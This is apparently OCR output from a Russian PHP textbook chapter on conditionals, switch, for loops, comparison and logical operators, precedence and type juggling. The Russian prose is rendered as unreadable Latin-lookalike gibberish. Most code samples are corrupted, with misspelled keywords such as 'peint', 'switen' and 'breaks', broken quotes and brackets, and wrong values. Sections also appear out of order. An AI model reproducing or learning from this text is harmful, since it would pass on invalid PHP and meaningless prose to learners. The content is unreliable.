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«

case 1t
print ("Mouezenswix”) ;
print ("opa patosam") ;
break;

case 2:
peint ("Bropin”) ;
breaks

case 3
print ("Cpena”) ;
break;

case 4:
print ("demsepr®) ;
brea

case 5:
print ("Mamoaia”) ;
print ("Koneu Hezems") ;
break;

case 6
print ("Cyotora”) ;
print ("Bomion”
break;

case 71
print ("Bockpeceise”) ;
print ("Boxomor")
break;

JUna 1,5, 6 1 7-T0 A3 HZleAM A BCTABAT 10 1183 OIEPATOPA 1, <TG Bt YBWIETH, HTO
He HYXHO HHYEr OGBEIHHATS B (HrypHBie ckoGki. Ha nepbhil BSCIAR, Takoe peuee
CIMLIKOM [POMOSIKO, HO MOBEPHTE Mie, OO YHTAETCH HAMHOTO mpotite, M HHKTO He

MEUaET Ba 3ANHCATS Koz 01HOR CTPOKOH Wik Goriee cAaT (HeTHHT 2.10).

| iwcrmr 210, Kopomni mapwan wonono3osan onepatopa awiteh

sday = 45
switen (sday) (

case 1: print ("Mowenensiu”) ; break

case 2: print ("Bropwe
case 3: print ("Cpena®) ;
case 4: print ("dernepr”) ;
case 5: priat ("Mameiia”)
case 6: print ("Cyosona’
case 7: print ("Bockpecense”)
default: print ("Oumoxa”) ;

)

break;
break:
break;
break:
break
break
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9107 Kon yke nonpoue. B oGie BHIC KOHCTPYKIR L¢. .elsei BHIIAINT Creyio-
i oGpasow:
1€ (yesomen) (

seicrauel;

elseif (yerome2)
P
)

ECH niepBoe YCI0BHE BEPHO, TO BHIIOTHHTCA iEpBoE AEACTBHE H NIPOBEPKA JaKOHHTCA,
Hiasie MPOMIONIET TIPOBEPKA BTOPOTO YCIIOBWA. ECTH BTOPOE YCOBHE BEPHO, TO GyeT
BHINONHEHO BTOpOE AcHCTBHE.

B ssuixe PHP ccr eliie 1 BapHasT IpOBEpKH OTHOW NEpemenHof Ha cooraeTcTae
OlHOMY 3 HECKOTBKHX SHauCHWH — OTICPaTOp switch. B OLIEM BHAE STOT OnEpaTop
BT Tak:

suiten (nepeersias)

‘

case swaverziel:
oneparcpul;
break;

case swavernie2:
oneparopu
break;

(dstault: onepazop]

)

B 2AHHOM CYHaE TIEPMEHHAS CPABHMBACTCA CO SHANCHHANH, KOTOPHE YKAYaNE! 1I0CIE
KTHOHEBOTO 108 case. ECTH SHASEHHE MepeMeHHol PasHo |, To GyIyT BhinoTHeHs 5o
onepaTOps 370r0 Gr0KA A0 KTKOEBOTO CIioRA break. ITO BUKHOE OTIHIAE, KOTOPOE Bbl
OMKHb 3anOMHITS. ECIM TI0GE CPABHEHHS £ BHNOTHAETER TOTSKO OMH ONIEPATOp.
(379 BHITOTHENHA HECKOTBKIX OMEPETOPOR WX HAO OOBCIMIHHTS dHrypHBIMH CKOGK-
MH), TO B JGHHOM CITYM3€ MOKET BHIIOTIHATECH TI0G0€ KOHHECTBO OMIEPATOpOB.

EGIH B0 BpeMS BHINOTHENWA POBEPOK HH OHO HANEHHE HE MONOLLTO, TO GyeT b
HOIHEH OrIEpaTOp, KOTOPHiH CTOMT 10C/IE KTIOYEBOTO CAOBA default. Ta CEKIIMA ARIET-
4 HEODAYATEABHOM (default MOXET OTCYTCTBOBATE), HO MOKET MPHCYTCTROBT MUIA
BmOMHENNS KaKkiX-THGO AeHCTBHH. HATDHME, €CTH SHAUCHHE TIEPEMCHHOR He 1010~
IO WM IO OHY 3 IPOBEPOK, TO MOXHO BLIBECTH COOGILEHHA 06 OUNKE.

JlaBafiTe paceMOTPHN, KIK MOXHO PEUNTh 3%y C AHAMM HETETH, KOTOPYIO M pac-
CMATPHBATH patiee, ¢ IONOULSIO ONEpaTOPa swi tch (THCTHHT 2.9).

| Tiucinr 2.9, Mcnons3osanne onepatopa switeh

saay = 4;
switeh (3day)
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2.6. Lukner

He MeHee HGCTO b POTPAMMHPOBAHHK HCTIOMKYIOTCR WAKTS. Hanpiwiep, Ta e 3azata
© BOJBEIEHHEN B CTeTIeNs, KOTOPYIO Mbi OGCYXIATH Tpi PACCMOTPCHHH OMIEpaTOpa
Switch, PELIAETER HAMHOTO PO # XpdbeKTHBHEE TPH OO LIAKA. JUTA BOSBENCHHS
B CTeTeHs, HYKHO BRIIOTHITS ONEPALIIO YNHOKEHHS OTIPETETEHHOE KOTHIECTBO s
Ecan TpeSyeTca Bosnectt B TPeThio CTEeHb HHCHO 2, TO MOKHO WATHCATS: 2422,
A €cH HEOGXOIMMO BOTBECTH HCAO 2 B COTYIO CTeren’? IT0 e cromiiee. MOKHO
PACCHMTATS WHCAO 3apatee, HO Kak TIOCTYIIHTS, €CH HEMSBECTHO, B KAKYIO CTErEH Hy-
HO BO3ROIHTS SHci0? BOT 9T0 YKe Caiie HACTORIIHE MPOGAEN, 1 HECh He oGoMTHCY
e unkion.

2.6.1. Lun for

CaMBi HACTO HCTIOTB3YEMBIM ABTAETCA LK fox. OH HANGOTEE NPOCT B MOHHMGHHH,
TI0>ToMY HaHeM PAcCMOTPEHHE LIMKIIOB ¢ Hero. B OULeM BHAE OH BHFAAIAT CTEIYIO-
s oGpason:
for (Havansioe anaversre; Kowewnoe swauersie; waewerste cuerana) |
cneparcp
DurypHsIe CKOGKI He OGRIATENLHH, €CTH TOTHKO O OTIEPATOP, HO & MPEATIONHTAIO HX
BCe PaBHO HOROTS30BTE.
TIOCMOTPHN, Kk MOKHO BOSBECTH SHCIIO B CTETIEHb € IOMOLSI0 LHKIA:
Sresule = 15
for (si = 1; 51 <
Sxesult = Sresu:
)
print (1)

3 51
Ca

‘

B 57T0M MPHMEPE AMYCKAETCS LI C HAMATHHBIN SHAYEHHEM lepeMeHHOM 51, pasiin 1.
Ll GyACT BHNOTHATECS, IOKA HACHHE TIEPeMeHHOf MeHbIE Wik panio 3. Ka o
KO IHaCHHE TepEMEHHO TIPEBICHT 3TO YHCIIO, LK MIPEPBETES, W PESYTLTAT GYZeT B
BeleH Ha HKPAH C NOMOILSIO YHKIIHH print (), KOTOpaS WICT nocrie LKAa. Ha Ko
LITE LWAGHA SHAUEHHE TIEPEMEHHOM 51 YBEANUHBAETC Ha CIMHHLY (31=51+1).

Ha KGATOM Ware UKTa BHTOTHASTCR CTPONK KO Sreault = Sresult + 3. Tlockomb-
KY TIEpeMeHHaS UMKTA 51 IPHHHMACT IHaueHws 0T | 210 3, To CTpOtKA GYIET BHmOTHENA
p# pasa.

TIoGAE OMEPATOPa.£ox BHNOTHAETCA TOMBKO OIHA CTPOKA Koa. HTOGH GhLI0 BIIHO STy
CTPOKY, 3 BCETAA OTACHAIO €€ MPOGEON, CMElIas BpaRo. ECTH HEoBXomHMO Bunosi-
T, 83 1 Goee onepaTopa, TO UIypHBe CKOOKH CTAHOBTEA OOR3aTEMBHBMH. Ha-
npuvep:

sresult = 15
for (5101 s
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TOT KO JANHMAT YK HAMHOTO MEHBLLE NECTA, & HHTAT €TO HE TaK Y i CORHO. U=
TAGETHOCTS KOMA ABTAETCS OYeHb BKHOM COCTARTAIOMIEH, TIOTOMY ¥TO B AATBHERIIEN
OHa YTIPOCTHT TIOLIEPKKY, OTAGIKY H BHECEHHE HIMEHEHHH B KO CueHapha. TIoMHMO
3700 8 H0GABILT KIIOYEBOE CI0BO diofault. H BHIBOI COOBLIEHHA 06 OUMOKE.

KCTiouenoe ¢1080 break ABTACTCR oGA3aTENbHEIN. ECTH Bl 330y €TE €ro MOCTaBHTS, TO
BHITOTHATCA BeCh MOCTETYIOLMH KO, TO TIDHBEZET K HEAEAATENsHOMY pesysTary. Ho
TOT PE3YTHTAT MOXET OKEXATHCA  BHTOMHbIM. HAnpHMep, BaM HAZO HATHCATS KO3, Ko~
Tophii GYAET BHNHCIATS Crerens AioGoro smena or | 1o 5. [Tpocro wia evexa caenaew
310 Hepe3 swich, XOTA HAMHOTO MIPOLIE HCTIOTH3OBETS LUAKITE, KOTOPHE MIPOCTO Mbi TIOKA
He 3HaEM. TO MOKCT GHITh PeaTHIOBANO CTeTYIOUAM OGpEION:

Sresult = 17
si-3;

switen (51) (

case 5: Sresult = Sresult * i
case 4: Sresult = Sresult * Si
case 3: Sresult = Sresult * Si;
case 2: Sresult = Sresult * 511
case 1: Sresult = Sresult * SL;
default: print(Sresult);

B

B KINECTBE HANATLHOTO SHAYEHNA A 34181 TepemeHHO 51 Inasenve 3. Hau Kox 107Ken
GYAET BHHCAMTS CTenes TPOKH. PAccKEXY, Kak 910 MPO3OHIET. Onepatophi case
A% 5 1 178 4 He cpaOTAIOT, a CPAGOTAET BAPHANT 3, TIOTOMY 4TO STOMY sHCTY pabHa
Haua MIEpeMeRHaR. 3Ech SHCTO 3 GYIET YMHOKEHO Ha SHAYEHHE IEpeMEHNON Sresult,
KOTOPOE PABHO 1, W PE3YIIBTAT TIONALET B NEpeMeHHYIO s esulc. TAK KaK Her OrCpaTopa
break, CEIYIOUMI KON 1A case, PABHOTO 2, TOKE GYIET BHTIOMHEH, 31ech JHaseHe
Sresult (paBHOE 3) GYIET YMHOKCHO Ha3, W PESYBTAT 9 NONAZET B MEPeMEHHYID
Sresult. ONATH HET break, NOJTOMY BHIOTHWTCA case JIA CIWHHIN, W 3HASCHHE
Sresult (ke panioe 9) GyaeT ywHoweno Ha 3. TlonyawTes pesyabtar 27,  oh Gyxer
BoIBeIEH Ha SKDAH, TIOTOMY MTO CHOBA HET break, & SHAUMT, BHIIOTHHTCA KO, KOTOpSIH
CTONT mociie defaul.

Jlaswsiit npwwep He >dbdbexTHBEH W NpHBEEH MPOCTO 118 HarARIHOCTH. HHora KeHcT-
BHTEALHO MOAET MOHAIOGHTECA TPH OMPEETEHHHIX YCTOBHAX BBITIOTHITS KO OF JBYX
WK Goriee OMEPATOPOB case. Bbi JOKHHL HATh, STO NPOCTON PHEM ¢ OTCYTCTBHEM
OTIEPATOPA MpepBIBAHIS break MOKET YTIDOCTHTS B AH3Hb. OIHAKO He 3a0HIBASTE CTa-
BT break, HHAUE OMEPATOP GyJIeT PAGOTATS He Tak, Kak Bl OAJIGETE.

Bo Bpews paspaGoTKM CBOWX CUEHIPHER BHGHPAIHTE TOT BAPHIHT TPOBEPOK, KOTOPHTE
'MGKCHM&THO TIOTXOHT V1A Petuey 3anasn. T10 CKOPOCTH BHITIOTHEHNA BCE BapHANTH
PaGOTAIOT OINAKORO, 8 BOT C TOMKH EHNA KPACOTH, MPH MHOFOKPATHOM CPABHEHHI
OMEPATOP swLtch MOXET SHAHHTESHO YAYSLIHTS SHTAGELHOSTS MPOTPANNEL.
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oTHocHTCR MenHO K BbecTORIEMY <. Takoe GOpMITHPOBANHE O%€HS YAOGHO, H Bl
YPHINTE €ro IpEMYILIeCTRO B GiyWae HECKOTSKHX OTepaLi CPABHEHIA TIONPAL WA
Tawe maowerHbx AyT B Apyra. TlocoTpHTe Ha ceytoui mpAMEp:

Sindex = 07

ie (stndex > 0) (

it (stndex > 10)

{ stndex = 10; }
eise

{ stndex = 0; }
)
etse

print ("Index = 0%);
Sindex = 15

M5 57070 KOZA BIHO, TO OMEPATOPH L€ 1 COOTBETCTBYIOUIME HM e1se HAXOAATCA Ha

OHOM YPOBNE, @ AEHCTBHA CMEwteHH BTPas0. TaKiw OGPA3ON, 110 CMEIIEHIIO MOHO

‘ONpEENHTS, Kako KO K HeMy OTHOCHTCA.

B sasixe PHP ecth MHOeCTBO onepayuii cpasnents, W ¥ToGhi pam nersie Gsino b Hinx

PasOGPaTECS, A COGPEN X BMeECTe (Ta0. 2.1).

Tatinuua 2.1. Onepauuu cpasenus

‘Onepauns cpasenun Peaynurar

Napanerp 1 > Napawerp 2 Bosspauiaer true (sunonwiTca nepaoe AShCTaN),
‘ec nepauiA napauerp Gonsive 8T0pOrD

Tapauerp 1>= Napanerp 2 Bosspauaer true (BunonMWTCA nepace feAcTave),
‘ecn nepeuiA napavep Gonbive wi

Mapauerp 1 < Napanerp 2 Bospauiaer true (swnonkwTca e
nepesiA napawerp wensue eoporo

Bosspauaer crue (swnonuca nepsoe asdcTawe),
T DepoH NapaWeTP MeHbLU W PaBEH BTOPOMY

Tapaerp 1 <= Mapawerp 2

Tapauerp 1 == Napawerp 2 Bosspauaer cus (swnonTca nepeoe ashcTame),
ecnn nepasi napawerp pasen sTopowy

Tapauers tapauerp 2 Bosspauaer txue (ssnonTon nepace AeAcraNe), ecrn
NepBH Napauerp pasew STopoMy 1 A 3ToM 063 WMEKT

OaHaKoBR T AR

Napawep 1= Napawep 2 | Bosepauiser c.xue (swnonwron nepeoe acicrone).
| ecnu nepaui napaerp we pasen sropouy

A €CH HYKHO TIPOBEPHTS 1182 YCTIOBHA OAHOBPEMEHHNO? B ITOM CIlytae YCTOBHA MOKHO
OGBETHHATS ¢ TOMOLLIMO AG2UNECKILX ONEPAMOPOS, TIO3BOTAOUIAX. BHHCAHTS AOTHIE-
cxyo onepatto (1a6n. 2.2).
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XPAHNTER WHCO OF 1 10 7, KOTOPOE YKSSHBAET HOMED A3 HETEIH, HO Ba HYKHO Bbi-
BeCTH Ha DKpaN HaSBaNHE AA. JUIA STOTO MOKHO HAIMCATS CAEAYIOWMH Kox (-
T 27).

[T 2.7, rnpasieneie Nassavs A HeBer o aenonowy havesa l

sday = 2;
it (sday = 1)

{ print ("Tonenenswec); |
else

if (saay = 2)
§ princ ("Bropwax”) ;
else
i€ (sday = 3)

{ print ("cpena®); }
else

it (sday = 4)

{ print (dessepr

Onepatop e1se 413 AaHHOTO CTyian He OBF3ATEIIEH, % €r0 JOGABHA NIPOCTO 1S OHCA-
iR Gorlee CTPALINORO BAPHANTA, KOTOPHH MOXET NPOWSONTH.

TaKolt Koj He 0etth XOpOUIO HHTACTCA H BHTIAIHT FPONOSIKO, & G HaTHCATh €10 Ges
oTeTynon, T BooGite pasoGpaThes GyaeT oo, JUTA petieHia Mon0GHOR NpoGeMs
MOKHO BOCTIONIOBATICA KOHCTPYKLMER £€..elseif, TOra KoA GYAET BHITAACTS TaK,
Kak B AHCTHHTE 2.8,

R

saay = 2
if (sday = 1)

{ print ("osexemmia)
clseif (sday == 2)

{ print ("Bropuix"); }
elseit (sday = 3)

( print ("Cpeza®); )
olseif (sday = )

{ print ("emaepr); |
elseif (sday == 5)
{ print ("Memoua’
elseif (sday == 6)
{ print ("cysoora”); }
elseit (sday = )

{ priat ("Bockpecense

)

i
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Tatinuua 2.2. lozuveckue onepamopsi a cocmase nozueckux onepauul

Torwueckan onepainn Peaynurar

Venoame 1 and Yenoawe 2 ‘BovspauiaeT true, ecnn 063 ycroenn sepnyT true
(Venoswe 1 & Yenoswe 2)

Yenowwe 1 ox Yenoone 2 ‘BovspautacT tru, ecaw XaTS 6w 030 yCroBHe sepneT
(Venoswe 111 Yenoswe 2) trve

Venoame 1 xor Yenosme 2 Bospauer true, ecnn ToNKO ORHO YCA0OME BepHeT truc

1Yenomme VaMenseT pesynoTar nposep YCHoBMA Ka NPITHBOROROX.
M T 0. GCIU ESYNSTAT NPOBEPIV R .13, TO CABON
awenseT ero va £alse  HaOGOPOT

PaccMOTPHM IPHME HCTIONS30BaHHA ABOHHOTO CPaBHEHHS:

Sindex1 = 0;

Sindex2 = 1;

it (sindext > index2 and $indexz == 1) {

Print (“Index] Gome Index? u Index? pase 1%):

'

else

Print ("Index] pases st uexbue Tndex? wor Tndex? we pases 17);
v

'BLITOTHIM NIPOBEPKY MepeMEHHOH Ha BXOAIICHHE c€ SHaUEHHA B AHanason of | 70 10:
Sindex = 0;

i (Sindex >= 1 and Sindex <= 10) (

peint ("Index Consue 1w uewnze 10%) ;

)

Msi DACCMATDHBATH TOTSKO CPABHEHIE LIETHX YHCEN, HO HHKTO HE MELIAET CpaBHHBATS
TPOKH Wk 2poGHe wHCra. TlonpoGyHTe Caui CPABHHTE HECKOTIBKO TEpEMEHHbX Pas-
HBIMH METOAMH H TIOCMOTPETS, KAKER W3 CTPOK BBIBOZHTCA Ha IKPa. TOTHKO TaK Bl
COKETE YBYICTS PASHHLY B HCTIOITS30BaHHH PEVIMYHSIX OTIEPATOPOB CPABHEHIS.

Ects eute o yTepectsii cniocol mposepKH ycrioskA. JIOMYCTHM, STO HaZlo CPABHHTE
Be MEpEMEHHME # B PEIYTLTAT JAMHCATS HAHGOTBLIYIO. B TOM CTydae KoX GyIeT Bbi-
TAATETS CreTyIOuHM OGPaTOM:

Sresult = $indext > Sindex2 ? index : indext;

Kax paGioraer o7a sammcs? TlocmoTpin wa ee 0w sia:

yeroane ? neficravel : seRcrase2s

EGTin yenonse BEPHO, TO BMIOTHHTCS zeficrasiel, WHAYE BHIIOMHHTCA zesicraie?. Tlony-
H6TCA, TO €CTH B HAUIEW PHMEPE TIEPEMEHHAR Sindex] GOTUIE, TO PE3YTLTATOM
Gyaer 5Ta nepemennas, HHae $index2. 10 Xopowkii W yx00HsH sapHan. [lonpobyire
HCTIOT30BAT €70 HECKOTBKO P, H BEl YBHITE, KAK OH JITKO HTAETCS.

A €CTH Hy»KHO CPABHHTS Ty TIEPEMEHHYIO C HECKOTKINH HAUEHHSMH B IaBHCHMO-
€T 0T STOTO BHINOTHATS Kakie-THGO AcHcTas? HanpiMep, B niepemenHOf sday Y Bac
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Tloce KTIONEROro C10Ra <15e TAKKE BHTOTHACTH TOTHKO OAHH onepaTop. UroG Bbi-
TOTHHTS 7168 AEHCTBMA, HX HYKHO OGHEIHHTS B 60K C IOMOUIHIO GHTYPHSIX COGOK:
Sindex = 0;
i€ (sindex > 0)
i
print (“Index >
Sindex = 0;
I
else
i
princ(
Sindex = 15
!

roGbi HGEAATS MOTOGHEX OUIMGOK, HEKOTOPHE MPOTPAMMHCTHI TIOGTORHHO OGpaNa-
10T KO GHrypHBIMH cKoGKaMH. Cefiuac HeKOTOpHE cpest paspaboTku 11a PHP xwxe o
YNOTMAHWIO TIOKASHIBAIOT MPEIYMPEAICHHA WIH JIKE MOTSEPKHBAIOT KAK OIKGKH Te
NECTa, e OTCYTCTBYIOT PHTYpHSIE CKOGKH. ECTH A He OWMGIOCH, TO TaK MocTymaeT
NetBeans.

Ec 3aHiTh MCTABHTS GHIYPHbIE CKOGKH, TO IOTHK DWIOKEHHE MOKET CHIBHO Hi-
NEHIHTECA, H 5TO AKE MOKET TIDHBECTH K YAIBHMOCTH. S B TIOCTAHEE BPEMA CTa ceR
NpHYHaTS ToXe CTABMTS QIYPHME CKOGKH, ATAKE B TEX CTYNaxX, KOTAA BHNOTHACTCH
b M ONEpATOp. ECTH B b MPHMEAX BHIATE MHOTO HIYPHX CKOGOK, 310 He
ABTAETCR TPEGOBAHMHEM, KOTOPOE # BHTIOTHAIO, 9TO PEKOMEHTAIIAR H THHOE MPEATONTE-
.

KTOUERoe CI0BO else MHCATS HEOGA3ATENLHO M MOXHO OGONTHCY Ge3 HETO, ecih He
HYAHO BITIOTHATS HUKaKIHX A€HCTBWH TP 0XHOM pesyTsTate cpasHenns. Hanpuwep:
Sindex = 0
i€ (sindex > 0) (
print ("Index > 0");
)

B 1aHHOM CTyHae Ha SKPaH GYIET BHIBCTEHO COOGUIEHYE, TOTHKO €CTH MEPeMEHHax
Sindex GoTbie HYIS.

OBparvre Brmmarse, kax 5 mwuy Ko Bsiue. Bo BTopoA CTposKe CTOHT npoepka. leii-
CTBMe, KOTOpOE BHIOTHACTCA, €CTH YCIIOBHE BEPHO, CTONT B CrEAYIOUEH CTPOUKE C OT-
CTYTIOM B 0K NpOGEA (B KHHIE UTA IKOHOMHH TIPOGETS, & B PEATHHOCTH A HAKHVAO
ianwry <Tab>). B HHTEpHETe MHOFO CIOPAT, 'TO ysiule — TpOGTst HIH CHMBOTH
aGynsun. 51 we GyZy HABIBIBATE BaM CBOGTO PELICHHA W FOBODHTS 4TO MPEANONTH-
TebHee, NPOCTO MOA PEKOMEHAALLAS — BHIGEPHTE HTO-TO OIIHO J CEGA # Heonb3yHiTe
BCErAA OIIHO M TO K. 51113 CeGR BHGPAT CHMBOTH TaGYAALIAH,

ECIn HYAHO KIIOSEBOE GI0BO else, TO A CTABTIO Ha OAHOM yposwe © it M aeficrawe,
KOTOPOE BHTIOHACTCA MpH HEBCPHOM PE3YTSTATE CPABHEHIS, TOXE PACTIOTAFACTCA Ha
oo cTposKe ¢ orcrymow. Takw OGPA3OM, CPasy BAIHO, HTO KIIOHEBOE C0BO else
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Tlorwxa nposepic Gyer caenyiouek:
O ccau azpec e-mail Bepiui, To OTHpaBITS MHGOMO;
O wase puaars cooBuenme o6 ommGKe.

KaK BUITE, JOTHKS CBOTATCA K IPOCTOMY TECTHPOBAHHIO: €CTH YCTIOBHE BEPHO, TO
BHITOTHATS OTHO KEHCTBHE, HHGYE BHTOAHHTS APYToe AHcTBHE. Ty JOTHKY Mbi YKe
HETOKI0BATH OTHH Pa, 2 CeffHac HaM NPEZICTONT NOMAKOMHTHCA ¢ Heit noGwke. Hrak,
Ha s3bike PHP TaKko TeCTHPOBAHHE aTTHCHIBACTCA CAEAYKOIIMM OGPAsOM:

it (ycaoane)

secrael;

else

nericrae2s

EC YCI0BHE, YKINHHOE B CKOBKAX, BEPHO, TO BINOTHTCA zericrasel, WHANE GYIET
BHINOTHEHO zericreree?, WATPHMED:

Sindex = 0;

i€ (sindex > 0)

print (“Index > 075

else

print (*Index = 0%);

B 7aHHOM CyUaC TIPOMCXOAHT TAKAS IPOBEPKA: €CH MEPEMEHNAA Sindex GOLIIC HYIA,
TO BHIBOAHTCA MEPBOE COOGUICHHE, HHAYE BHBOANTCA BTOPOE COOGULEHHE, KOTOPOE CTOHT
H0GAE KTIOHEBOrO Crioa else.

OGA3ATEBHO 3ATOMHHTE, *TO GYACT PHITOTHATLES TOTHKO 02O AcficTaMe. Eca Hyxo
BHNOTHITS 183 IEHCTBMA, TO HX HYAHO OGBEIHHHTS B (70K, ITO JEAETES C NOMOIISO
urypsix ckoGox (). Hanpiwep, caeyiouuii Koz Gyzer Heaepen:
Sindex = 0;
i€ (sindex > 0)
print ("Index > 0);
Sindex =
else
prine ("Index

e nepeventas $index GoTbiLe MY, M5! IBITAEMCS BIBECTH COOBUICHHE W HINEHHTS
MaUCHHE TIEPEMENHOM Ha HOMb. ITO YKe A6a ACACTBA, A MOKET GBITH BHIIOTHEHO
TonbKo 0o, TIpaBivTsHO Gy zeT HancaTh Tak
Stndex = 0;
i€ (sindex > 0)
i
print ("Index'> 07
Sindex = 0
b
else
print ("Index
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Kak W IPHHATO B MATEMATHKE, €CTH OTIDEEACHHAIE NPABHIA TIOCTENOBATEBHOCTH Bbi-
TOHEHHA OnepaLli (MPHOPHTET). CHAYATA BHITIOTHAIOTCA YMHOKEHHE H JETEHHE, 3 10~
ToM YK COAEHHE W BHMHTARYE. PACCMOTpHM KIaCCHNECKIT MpHMED:

Stndex =2 42+ 21

10 knacciiectalh MPHMEp, KOTOpH 4aCTO 3a7810T MKoMBHAKaw. He 3a1ymbrmasc, nce
oTBeTaT: 8. ECIH BHIIOTHATS ITOT KO C/Ba HATIPABO, TO PE3YIBTATON, ACHCTBHTETbHO,
Gyzer 8. Ho 970 TOTKKO B TO7IOBAX WKOTHHKOB TPETHETO Kiacca, KOTOPHE pabiie
FOBOPAT, em Zymaior. EGH CHNTATh 1O MpaBHIaM aTeMarki 1 PHP, To pesyauTat
Gy2eT 6, MOTOMY “TO CHANATA HYAHO TEpEMHOKHTS ZBOFiKH (pesynsTaT 4), a MoToM
NpHGaBHTS 2 (oG pesyATAT paseH 6). 3aKoH MATEMETHKH AEHCTBYIOT H B Npo-
TpaMMHpOBHHH.

Tlpi HEOBXOTMMOCTH MIMEHNTS MOCTEIOBATENBHOCTS BHIMOTHEHHA KOMAHA HYKHO
HCTIOI0BATH CKOGKH, KOTOPHIE WMEHOT GOTbuki PHOPHTET. B 3TOM CAyHae HHTEpIpe-
Tarop PHP cHatiaia BHTIOTHIT BCE, SO HAXOIHTCA B CKOGKAX, @ TIOTOM YK€ T0, 170 38
o npezenani:

Sindex = (2+2) * 2
Bor B 97w cyuae pesynbTar Gyzer pasch 8.

B cKOGKaX A€HCTBYIOT Te e pABHTA, T H BHe CKOGOK. PaccMoTpHM nphviep:
Sindex = 242+ 21+ %

Cravana wirepnperarop PHP PaccuwTaer sasehme b ckoBKax, i pesyIsTaTon Gyzer 6,
TIOTOMY HTO AKE 316Ck CHAHATA BITOTHAETCA YMHOKeHH. TIoce TOro MHeio 6 Gyxer
ywmomeno va 3

B sike PHP €cTh €liie COKpALICHHBIE BapHANTS! YBETHEHHS HIH YMEHBUICHHS JHave-
HHA TIEPEMEHHOMt Ha 1, KOTOPHIE MOTYT CHTBHO YTIPOCTHTS KO  CAENATh 1o Gosee e~
FaHTHbIM., JUIA MPHOABTEHNS €IHHHILS HYKHO HANMCAT: Srocss, 8 [UIA BHNHTAHHA —
Syoua-—. Hanphve
Stndex = 2
Soum = Sindexre

B nepemeHHOf 5un OKEKETER HHCTO 3 (4CT0 2 13 IEPEMEHHOR 5 index, YBETHYEHHOE
wa l).

51 CTapaloch BeVIe HCTIOTB30BTS Takof BAPHAHT YRETHYEHHA SHANCHHH TEPEMEHHBX,
W B CO BPEMEHEM IPHBHIKHETE K HeMy. UAILE BCEro MIOTOGHHIE OTIEPALIH BCTPESaIoTCH
B wcTaX (X Mot Gy/ieM pacoaTpHBaT Zaee).

51 yKe rOBOPIT (v, pasd. 2.3), ¥T0 1 ofwedunentus (xonkamenaryuu) dsyx cmpox we-
OMHaYETCS CHMBON TOMKH () BMECTO ILTIOA, KaK BO MHOTHX SIBIKAX MPOTPAMMIHPORA-
HHA BHCOKOTO ypoBHs. Hanpuvep:

Sstel = "5r0 necronan "
Sste2 = "erpoka”s
Sste = Sstrl.ssez2
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Ha nepBsii marang, AanHas onepauAs HemoswOAHa. B iepBoit CTPOKE Y Hac conacTen
nepenermas $stx, KOTOpaZ GYET xpaHHTS cTpoky *10". Bo BTOpOf CTpOKE HHE0 2 Y-
HOKACTCA Ha CTPOKY ) iepeMenHOi Sstx. BOOGILE-TO, HETIA YMHOXATH WHCTO Ha
TPOKY, M 5TO BEPHO 115 GONbUIMHCTBA A36IKOB NporpaNMHpOBaHK. Ho ek neper Ha-
i PHP! Hirrepnperarop PHP rompoGyeT NpeapaTyT Szt B 4HEAO, W Y HEro 370 nony-
wrcs. B pesyaTaTe B riepeNeHOf $1ndex GyIeT conepKaThcn swasente 2.

EGH B 1aHHOM KOTEKCTE CONEPAHMO TIEPEMEHHOME He MOKET GBITh NposHTAHO, To Gy~
€T HerIOTb30BaTHCA HyeBoe asenve. Hanpiwep:

print ("Result is Sindex");

B ZaHHOM CTyac B TIEPeMeHHOli 53¢ HAXOAHTCA CTPOKA, KOTOPaS He MOKET GHTh nepe-
BeHa B SHCIO, T. K. Metaer GyKsa r. TIpH YMHOKCHHH SHCT 2 Ha ITY TIEPEMEHIYIO
npeoBpaoBanHe GyZeT HeRoMORHO, H HCI0 2 GyIeT ywHoKeHo Ha 0. B pesyabtate
bl MOy M HyieBoe HaueHHE.

A SO NpoM3OILIET, €CTH HATIHCATS CTEAYIONUAH KO

print (3+"helloms2+true) s

TIONITaEMCA MPEACKATT, KaKOH MOTYSHTCA pesyabtar. Cpasy coOGPAIHTE CAOKHO,
nosTOMY A@BaliTe paccyzaTh, Ka Ty OnepauIo Gyzer oGpaGaTswah PHP. Catiara
BHNOTHACTCS YMHOACHHE 4HCTA 3 W CTPOKY. ECIH CTOKY HEMsan npeoGpasonars
B HCA0, TO BMECTO CTPOKH GYIET HenOME308aThCA 0. KGO 3, YMHOAKERHOE Ha 0, AaeT
B pesynkTare 0. Jatem k Hymio NpHGaRIAET 2. PesyvTaT Gyaer pasen 2. A Tenep k 2
HYKHO PHOGBHTS GyeBo HateHHe crue (HCTHHA). BCTIOMHHM, §TO TaKOe HCTHH 1
70%5? Jlows — 370 HOMb, & HCTHHA — 3TO EAMHMIA W ToBoe Gonsuee Hero. Hi-
Tepuperatop PHP BOCTDHMET true KaKk eIWHHLY W MPHGABHT K sCAy 2 (KOTOpOS Mt
nonyam panee) wicao 1. OBt pesynstar 3. TlonpoGyiiTe NpoRepHTS 5To Ha coEM
KommsioTEpe.

Takoe GBTOMATHYECKOE MPEOGPASOBINHE TIOSBOTAET HIGABHTECA OT MILNKX MPOGTEN,
Ho yenowmseT oTraAKy. Bui AETko MOAETe ZOMYCTHTH OMOKY ¢ MpeoGpasoBaHHeM,
a waifTh e GyeT caoKHO.

2.4.4. OcHosHute onepauwm

TlepeMEHHbIE COVIAIOTCA V1A TOTO, YTOGH! HAX HHMH MPOWIBOTUT KakHe-THGO Oriepa-
. Ha Jaibii MOMEHT NOSHAKOMHMCS TOTBKO C MIPOCTEIMM MATEMATHIECKHMH Oriepa-
A

0 + (cromenne),

0 - (aerwrrasne);
0« (ywoene);
0/ (renenme).
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‘CoxpanyTs 3navenve nepewentoi NpH nepexoAe oT (paiina K (Galiy MOKHO PEVTHIHH-
M CIIOCOGAMH, KOTOpIE GYIYT PACCMATPHBATECA B TaTbHeMuieM:

O HCTOEI0BaTS METOS! GET W POST 1A IEPEANH NEPAMETPOB MEAY CTPAHHILAMH;

O wornonssosats ceccn PHP;

O coxpansTh AanHsie 8 Gaiinax cookies, KOTOPHIE XPAHATCA Ha KOMTIHIOTEPaX MOE308a-
Teas;

3 coxpansTs 3HaveHHS B cephepHO/ Gase JAHHIX WK APYFOM XPAHTHILE Ha CepBEpe,
HATDHMEP TeKCTOBOM paite.

KaKolt cioco BHOpaTS? 370 SABHCHT OF CHTYAUH K iriHeIX mpeanovTerit, Ho sbi60p

BB CMOKETE GIIETATS, KOTZA MIOSHAKOMHTECH C STHMH TEXHOTOTHAMH.

yWKLH VoI €iLe He PACCMATHBATH, HO HEKOTOPHIE IAMESHHA HEOGXOMHMO CIENATS
